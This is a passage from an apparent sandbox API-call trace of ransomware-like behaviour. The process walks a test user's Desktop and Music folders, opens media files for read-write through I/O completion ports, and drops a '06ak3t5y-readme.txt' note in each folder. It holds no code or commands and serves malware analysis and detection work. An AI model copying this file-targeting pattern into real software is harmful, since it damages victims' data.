ftLastWriteTime.dwHighDateTime=0x1d7594f, nFileSizeHigh=0x0, nFileSizeLow=0xdf28, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="WsOU.gif", cAlternateFileName="")) returned 1 [0111.462] PathFindExtensionW (pszPath="wsou.gif") returned=".gif" [0111.462] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xe078) returned 0x52caf68 [0111.464] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\WsOU.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\wsou.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x46c [0111.464] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x86) returned 0x30a9ea0 [0111.465] CreateIoCompletionPort (FileHandle=0x46c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.465] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x52caf68) returned 1 [0111.465] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf2708b0, ftCreationTime.dwHighDateTime=0x1d757c1, ftLastAccessTime.dwLowDateTime=0x4a965570, ftLastAccessTime.dwHighDateTime=0x1d758ff, ftLastWriteTime.dwLowDateTime=0x4a965570, ftLastWriteTime.dwHighDateTime=0x1d758ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="YsmXBqSRct", cAlternateFileName="YSMXBQ~1")) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402b0 [0111.465] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x20786c0 [0111.466] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb2) returned 0x2082fc0 [0111.466] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0111.466] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2082fc0) returned 1 [0111.466] WriteFile (in: hFile=0x470, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.467] CloseHandle (hObject=0x470) returned 1 [0111.467] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf2708b0, ftCreationTime.dwHighDateTime=0x1d757c1, ftLastAccessTime.dwLowDateTime=0x4a965570, ftLastAccessTime.dwHighDateTime=0x1d758ff, ftLastWriteTime.dwLowDateTime=0x4a965570, ftLastWriteTime.dwHighDateTime=0x1d758ff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ysmxbqsrct", cAlternateFileName="YSMXBQ~1")) returned 0 [0111.467] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.467] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9ab0) returned 1 [0111.467] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402f0) returned 1 [0111.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe131300, ftCreationTime.dwHighDateTime=0x1d75a52, ftLastAccessTime.dwLowDateTime=0x440ba50, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x440ba50, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.468] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe131300, ftCreationTime.dwHighDateTime=0x1d75a52, ftLastAccessTime.dwLowDateTime=0x440ba50, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x440ba50, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.468] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ba50, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x440ba50, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4410870, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.468] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e7d5370, ftCreationTime.dwHighDateTime=0x1d74ccc, ftLastAccessTime.dwLowDateTime=0x6ff4ca60, ftLastAccessTime.dwHighDateTime=0x1d755c9, ftLastWriteTime.dwLowDateTime=0x6ff4ca60, ftLastWriteTime.dwHighDateTime=0x1d755c9, nFileSizeHigh=0x0, nFileSizeLow=0x37d1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="aZ3qnO44VBmYATaQO.m4a", cAlternateFileName="AZ3QNO~1.M4A")) returned 1 [0111.468] PathFindExtensionW (pszPath="az3qno44vbmyataqo.m4a") returned=".m4a" [0111.468] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x3921) returned 0x52d8fe8 [0111.468] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\aZ3qnO44VBmYATaQO.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\az3qno44vbmyataqo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x470 [0111.468] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xae) returned 0x3686ad0 [0111.470] CreateIoCompletionPort (FileHandle=0x470, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.470] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x52d8fe8) returned 1 [0111.470] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38d01b0, ftCreationTime.dwHighDateTime=0x1d74db2, ftLastAccessTime.dwLowDateTime=0x18821370, ftLastAccessTime.dwHighDateTime=0x1d74f1e, ftLastWriteTime.dwLowDateTime=0x18821370, ftLastWriteTime.dwHighDateTime=0x1d74f1e, nFileSizeHigh=0x0, nFileSizeLow=0x10207, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="C13Qxjjyorp.m4a", cAlternateFileName="C13QXJ~1.M4A")) returned 1 [0111.470] PathFindExtensionW (pszPath="c13qxjjyorp.m4a") returned=".m4a" [0111.470] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x10357) returned 0x52dc918 [0111.471] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\C13Qxjjyorp.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\c13qxjjyorp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x474 [0111.471] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa2) returned 0x3678958 [0111.472] CreateIoCompletionPort (FileHandle=0x474, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.472] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x52dc918) returned 1 [0111.472] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ead020, ftCreationTime.dwHighDateTime=0x1d755ea, ftLastAccessTime.dwLowDateTime=0x72ec9db0, ftLastAccessTime.dwHighDateTime=0x1d75a97, ftLastWriteTime.dwLowDateTime=0x72ec9db0, ftLastWriteTime.dwHighDateTime=0x1d75a97, nFileSizeHigh=0x0, nFileSizeLow=0x3ebe, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="cfk0faS.mp3", cAlternateFileName="")) returned 1 [0111.472] PathFindExtensionW (pszPath="cfk0fas.mp3") returned=".mp3" [0111.472] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x400e) returned 0x52ecc78 [0111.473] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\cfk0faS.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\cfk0fas.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x478 [0111.473] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x9a) returned 0x3688df0 [0111.474] CreateIoCompletionPort (FileHandle=0x478, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.474] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x52ecc78) returned 1 [0111.474] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffae2810, ftCreationTime.dwHighDateTime=0x1d75923, ftLastAccessTime.dwLowDateTime=0x26d068f0, ftLastAccessTime.dwHighDateTime=0x1d75c84, ftLastWriteTime.dwLowDateTime=0x26d068f0, ftLastWriteTime.dwHighDateTime=0x1d75c84, nFileSizeHigh=0x0, nFileSizeLow=0x51db, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="keE6ik.mp3", cAlternateFileName="")) returned 1 [0111.474] PathFindExtensionW (pszPath="kee6ik.mp3") returned=".mp3" [0111.474] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x532b) returned 0x52f0c90 [0111.475] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\keE6ik.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\kee6ik.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x47c [0111.475] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x98) returned 0x207fe80 [0111.476] CreateIoCompletionPort (FileHandle=0x47c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.476] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x52f0c90) returned 1 [0111.476] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a96a00, ftCreationTime.dwHighDateTime=0x1d7549a, ftLastAccessTime.dwLowDateTime=0x50d4a900, ftLastAccessTime.dwHighDateTime=0x1d755fd, ftLastWriteTime.dwLowDateTime=0x50d4a900, ftLastWriteTime.dwHighDateTime=0x1d755fd, nFileSizeHigh=0x0, nFileSizeLow=0x17bc1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="mwT2_W2TSLnE-cjmjh9.wav", cAlternateFileName="MWT2_W~1.WAV")) returned 1 [0111.476] PathFindExtensionW (pszPath="mwt2_w2tslne-cjmjh9.wav") returned=".wav" [0111.476] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x17d11) returned 0x52f5fc8 [0111.477] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\mwT2_W2TSLnE-cjmjh9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\mwt2_w2tslne-cjmjh9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x480 [0111.477] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xb2) returned 0x2082fc0 [0111.479] CreateIoCompletionPort (FileHandle=0x480, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.479] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x52f5fc8) returned 1 [0111.479] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a96a00, ftCreationTime.dwHighDateTime=0x1d7549a, ftLastAccessTime.dwLowDateTime=0x50d4a900, ftLastAccessTime.dwHighDateTime=0x1d755fd, ftLastWriteTime.dwLowDateTime=0x50d4a900, ftLastWriteTime.dwHighDateTime=0x1d755fd, nFileSizeHigh=0x0, nFileSizeLow=0x17bc1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="mwt2_w2tslne-cjmjh9.wav", cAlternateFileName="MWT2_W~1.WAV")) returned 0 [0111.479] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.479] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9bd0) returned 1 [0111.479] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400a0) returned 1 [0111.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d58be0, ftCreationTime.dwHighDateTime=0x1d752f4, ftLastAccessTime.dwLowDateTime=0x4430440, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4430440, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.479] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d58be0, ftCreationTime.dwHighDateTime=0x1d752f4, ftLastAccessTime.dwLowDateTime=0x4430440, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4430440, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.479] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02fb3a0, ftCreationTime.dwHighDateTime=0x1d752c0, ftLastAccessTime.dwLowDateTime=0x65fc42a0, ftLastAccessTime.dwHighDateTime=0x1d75947, ftLastWriteTime.dwLowDateTime=0x65fc42a0, ftLastWriteTime.dwHighDateTime=0x1d75947, nFileSizeHigh=0x0, nFileSizeLow=0x17ee1, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="-Z_YAbL9cxI-Zcp.m4a", cAlternateFileName="-Z_YAB~1.M4A")) returned 1 [0111.479] PathFindExtensionW (pszPath="-z_yabl9cxi-zcp.m4a") returned=".m4a" [0111.479] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x18031) returned 0x530dce8 [0111.481] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\-Z_YAbL9cxI-Zcp.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\-z_yabl9cxi-zcp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x484 [0111.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa8) returned 0x3678a08 [0111.482] CreateIoCompletionPort (FileHandle=0x484, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.482] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x530dce8) returned 1 [0111.482] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4430440, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x4430440, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4432b50, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.482] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9cd30, ftCreationTime.dwHighDateTime=0x1d74d23, ftLastAccessTime.dwLowDateTime=0x460d0ab0, ftLastAccessTime.dwHighDateTime=0x1d751d6, ftLastWriteTime.dwLowDateTime=0x460d0ab0, ftLastWriteTime.dwHighDateTime=0x1d751d6, nFileSizeHigh=0x0, nFileSizeLow=0xb8b9, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="fxgOg0BIAfDIsIJA.wav", cAlternateFileName="FXGOG0~1.WAV")) returned 1 [0111.482] PathFindExtensionW (pszPath="fxgog0biafdisija.wav") returned=".wav" [0111.482] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xba09) returned 0x5325d28 [0111.483] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\fxgOg0BIAfDIsIJA.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\fxgog0biafdisija.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x488 [0111.483] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xaa) returned 0x3686c40 [0111.484] CreateIoCompletionPort (FileHandle=0x488, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.484] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5325d28) returned 1 [0111.484] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75d98a90, ftCreationTime.dwHighDateTime=0x1d74f09, ftLastAccessTime.dwLowDateTime=0x4217c1c0, ftLastAccessTime.dwHighDateTime=0x1d75712, ftLastWriteTime.dwLowDateTime=0x4217c1c0, ftLastWriteTime.dwHighDateTime=0x1d75712, nFileSizeHigh=0x0, nFileSizeLow=0xce69, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="oCCy.m4a", cAlternateFileName="")) returned 1 [0111.484] PathFindExtensionW (pszPath="occy.m4a") returned=".m4a" [0111.484] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xcfb9) returned 0x5331740 [0111.485] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\oCCy.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\occy.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x48c [0111.485] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x92) returned 0x207ff20 [0111.486] CreateIoCompletionPort (FileHandle=0x48c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.486] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5331740) returned 1 [0111.487] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b44400, ftCreationTime.dwHighDateTime=0x1d75099, ftLastAccessTime.dwLowDateTime=0x75d00a60, ftLastAccessTime.dwHighDateTime=0x1d750da, ftLastWriteTime.dwLowDateTime=0x75d00a60, ftLastWriteTime.dwHighDateTime=0x1d750da, nFileSizeHigh=0x0, nFileSizeLow=0x100bb, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="VY4okSryGW4p.m4a", cAlternateFileName="VY4OKS~1.M4A")) returned 1 [0111.487] PathFindExtensionW (pszPath="vy4oksrygw4p.m4a") returned=".m4a" [0111.487] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1020b) returned 0x533e708 [0111.488] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\VY4okSryGW4p.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\vy4oksrygw4p.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x490 [0111.488] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa2) returned 0x3678ab8 [0111.489] CreateIoCompletionPort (FileHandle=0x490, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.489] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x533e708) returned 1 [0111.489] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2faa5320, ftCreationTime.dwHighDateTime=0x1d7570a, ftLastAccessTime.dwLowDateTime=0x39ba0c30, ftLastAccessTime.dwHighDateTime=0x1d75d2b, ftLastWriteTime.dwLowDateTime=0x39ba0c30, ftLastWriteTime.dwHighDateTime=0x1d75d2b, nFileSizeHigh=0x0, nFileSizeLow=0xc676, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ZaNJ.mp3", cAlternateFileName="")) returned 1 [0111.489] PathFindExtensionW (pszPath="zanj.mp3") returned=".mp3" [0111.489] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0xc7c6) returned 0x534e920 [0111.491] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\ZaNJ.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\zanj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x494 [0111.491] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x92) returned 0x207ffc0 [0111.492] CreateIoCompletionPort (FileHandle=0x494, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.492] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x534e920) returned 1 [0111.492] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2faa5320, ftCreationTime.dwHighDateTime=0x1d7570a, ftLastAccessTime.dwLowDateTime=0x39ba0c30, ftLastAccessTime.dwHighDateTime=0x1d75d2b, ftLastWriteTime.dwLowDateTime=0x39ba0c30, ftLastWriteTime.dwHighDateTime=0x1d75d2b, nFileSizeHigh=0x0, nFileSizeLow=0xc676, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="zanj.mp3", cAlternateFileName="")) returned 0 [0111.492] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.492] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367af90) returned 1 [0111.503] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401e0) returned 1 [0111.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5751d70, ftCreationTime.dwHighDateTime=0x1d752cd, ftLastAccessTime.dwLowDateTime=0x443eea0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x443eea0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.522] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5751d70, ftCreationTime.dwHighDateTime=0x1d752cd, ftLastAccessTime.dwLowDateTime=0x443eea0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x443eea0, 